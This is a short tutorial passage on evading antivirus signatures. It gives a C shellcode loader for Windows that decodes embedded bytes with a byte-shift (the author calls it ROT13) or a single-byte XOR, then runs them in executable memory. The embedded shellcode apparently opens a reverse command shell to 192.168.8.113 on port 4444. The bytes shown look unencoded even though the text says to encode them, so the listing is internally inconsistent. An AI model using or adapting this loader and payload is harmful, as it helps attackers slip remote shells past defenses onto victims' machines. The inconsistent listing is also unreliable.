Modify the shellcode to evade static signatures based on its content.

Apply ROT13 cipher to all bytes of embedded shellcode - so 0x41 becomes 0x54, 0xFF becomes 0x0C and so on. During execution the shellcode will get “decrypted” by substracting a value of 0x0D (13) from every byte.

Edit code:

#include <Windows.h>


void main()

{

  const char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"

"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"

"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"

"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"

"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"

"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"

"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"

"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"

"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"

"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"

"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"

"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"

"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"

"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"

"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"

"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x08\x71\x41\x54"

"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"

"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"

"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"

"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"

"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"

"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"

"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"

"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"

"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"

"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"

"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"

"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"

"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"

"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"

"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);

RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);

DWORD threadID;

for (int i = 0; i < sizeof shellcode; i++)

{

((char*)shellcode_exec)[i] = (((char*)shellcode_exec)[i]) - 13;

}

HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);

WaitForSingleObject(hThread, INFINITE);

}{codeBox}

We can also use XOR encryption (with constant single-byte key) instead of Caesar Cipher:

for (int i = 0; i < sizeof shellcode; i++)

{

((char*)shellcode_exec)[i] = (((char*)shellcode_exec)[i]) ^ '\x35';

}{codeBox}